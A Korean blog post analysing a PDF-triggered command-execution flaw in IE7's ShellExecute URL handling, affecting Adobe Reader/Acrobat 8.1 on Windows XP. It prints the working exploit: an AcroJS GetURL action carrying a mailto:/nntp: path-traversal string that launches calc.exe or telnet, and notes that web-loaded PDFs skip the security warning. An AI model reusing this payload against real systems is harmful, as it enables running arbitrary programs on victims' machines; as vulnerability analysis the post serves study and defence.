Software affected:
+ Adobe Reader 8.1 (and earlier)
+ Adobe Acrobat Standard, Pro and Elements 8.1 (and earlier)
+ Adobe Acrobat 3D
System affected:
+ Windows XP with IE7
Exploit이 공개 됐을때 황당하고 당황스러운... 제발 그것만은 아니길 바랬는데... 이런...
만들어 놓았던 익스플로잇과 공개된 익스플로잇이 일치 -_- 멋진 취약점이길 바랬는데....
이번에 메일링에서 한참 떠들어 댔던 PDF의 취약점에 대해 분석한 내용을 적어본다.
사실 PDF 취약점이라기 보다는 IE7에서 발생하는 문제점으로 PDF는 단지 URL만 요청하는 역할을 할 뿐이다.
분석 ::
PDF의 경우 AcroJS인 스크립트를 사용한다. 이를 이용하여 PDF에서 계산기며, 여러 스크립트 동작을 가능하게 한다.
물론 XSS 취약점등을 방어하기 위해 보안이 강화된 스크립트를 사용한다.
실제 alert 창을 띄우는 코드는 바이너리에 아래와 같이 삽입된다.
<</S /JavaScript /JS ({app.alert\("TEST"\)})>>
위 코드는 스크립트 코드를 알리며, app.alert를 통해 TEST라는 Alert 창을 띄운다.
위의 스크립트를 통해 공격이 가능하게 되는데 어떠한 스크립트를 통해 가능한지 알아보면 다음과 같다.
<</S /JavaScript /JS ({({GetURL\("http://XXX"\)})>><</URI(http://XXXX)/S/URI>>AcroJS를 공부하면서 알아낸 방법은 두가지이다. 스크립트를 이용한 방법과 URI를 이용한 방법이다.
XXX 부분에 URL 주소를 넣으면 PDF에서 창을 띄워 XXX URL로 이동하게 된다.
즉 기본적으로 들어 있는 기능이며, 사실상 크게 문제 될 부분은 없다.
{{
Etc..
- pdf를 다운 받아 실행하면 보안 경고창이 뜬다. 하지만 웹에 올려 놓으면 pdf ActiveX 가 실행되면서 보안 경고창없이 진행된다.
또한 Exploit이 동작하는 동영상에는 레지스터를 수정하여 보안 경고창을 없앤걸로 보인다.
}}
하지만 IE 7에서 shell32!ShellExecute()에서 URL 핸들링 버그로 인해 PDF가 이용됐다.
mailto:test%../../../../windows/system32/calc.exe".cmdnntp:../../../../../Windows/system32/telnet.exe" "secunia.com 80%.bat참조 :: http://secunia.com/advisories/26201/
위의 코드를 IE7에서 동작시키면 계산기가 뜨게 된다. 두번째 코드는 telnet을 실행할 것이다.
즉 PDF에서의 문제는 IE7에서의 문제점을 공격자들에 의해 더 많이 확산될 길을 열어주는 것 뿐이다.
Exploit은 아래와 같다....
Exploit ::
<</S /JavaScript /JS
({({GetURL\("mailto:test%../../../../windows/system32/calc.exe".cmd"\)})>>
p.s
사실 위 문제점이라고 짐작은 하였으나 설마.. 아니겠지... 라는 생각을 하면서 다른 방법들을 시도해 보았다.
물론 실패로 끝났지만 ....
실패작 중 하나...
file:////c:/windows/system/calc.exe 를 넣어보았으나
file:/// 이러한 문자는 스크립트에서는 차단시키고.. URI에서는 다운로드 형태로 처리해 버린다.
Trackback URL : http://hacker.or.kr/trackback/23